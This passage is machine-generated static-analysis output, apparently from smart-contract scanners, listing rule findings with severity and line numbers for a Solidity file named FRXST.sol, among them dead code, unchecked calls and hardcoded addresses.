"Medium", "lines": {"FRXST.sol": [346, 347, 348]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [658, 659, 660]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1488, 1486, 1487]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [264, 262, 263]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [776, 774, 775]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [40, 38, 39]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1106, 1107, 1108]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [520, 518, 519]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [120, 118, 119]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [538, 539, 540]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [832, 830, 831]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [514, 515, 516]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [72, 70, 71]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [154, 155, 156]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [304, 302, 303]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [322, 323, 324]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [146, 147, 148]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [306, 307, 308]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [978, 979, 980]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [96, 94, 95]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [522, 523, 524]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [416, 414, 415]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1721, 1722, 1723]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1803, 1804, 1805]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1920, 1921, 1913, 1914, 1915, 1916, 1917, 1918, 1919]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1786, 1787, 1788]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1696, 1697, 1693, 1694, 1695]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1817, 1818, 1819]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1832, 1829, 1830, 1831]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1896, 1897, 1894, 1895]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1729, 1730, 1731, 1732, 1733, 1734, 1735]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1778, 1779, 1780]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1810, 1811, 1812]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1848, 1849, 1850, 1851]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"FRXST.sol": [1837, 1838, 1839]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [1538]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [4]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [2075]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [1745]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [1619]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [1641]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [1664]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"FRXST.sol": [6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [7]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 7, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1722, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1971, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1977, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1994, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 2005, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 1848, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 4, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 4, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1538, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1619, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1641, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1664, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1745, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2075, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1680, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1752, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1754, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1756, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1758, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1759, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 9, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 19, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 23, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 27, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 31, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 35, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 39, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 43, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 47, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 51, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 55, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 59, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 63, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 67, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 71, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 75, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 79, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 83, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 87, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 91, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 95, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 99, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 103, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 107, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 111, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 115, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 119, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 123, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 127, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 131, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 135, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 139, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 143, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 147, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 151, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 155, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 159, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 163, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 167, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 171, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 175, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 179, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 183, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 187, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 191, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 195, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 199, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 203, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 207, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 211, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 215, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 219, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 223, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 227, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 231, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 235, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 239, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 243, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 247, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 251, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 255, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 259, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 263, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 267, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 271, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 275, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 279, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 283, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 287, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 291, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 295, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 299, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 303, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 307, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 311, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 315, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 319, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 323, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 327, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 331, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 335, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 339, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 343, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 347, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 351, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 355, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 359, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 363, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 367, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 371, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 375, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 379, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 383, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 387, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 391, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 395, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 399, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 403, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 407, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 411, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 415, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 419, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 423, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 427, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 431, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 435, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 439, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 443, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 447, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 451, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 455, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 459, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 463, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 467, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 471, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 475, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 479, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 483, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 487, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 491, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 495, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 499, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 503, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 507, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 511, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 515, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 519, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 523, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 527, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 531, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 535, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 539, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 543, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 547, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 551, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 555, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 559, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 563, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 567, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 571, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 575, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 579, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 583, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 587, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 591, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 595, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 599, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 603, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 607, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 611, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 615, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 619, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 623, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 627, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 631, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 635, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 639, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 643, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 647, "severity": 3}, {"rule": 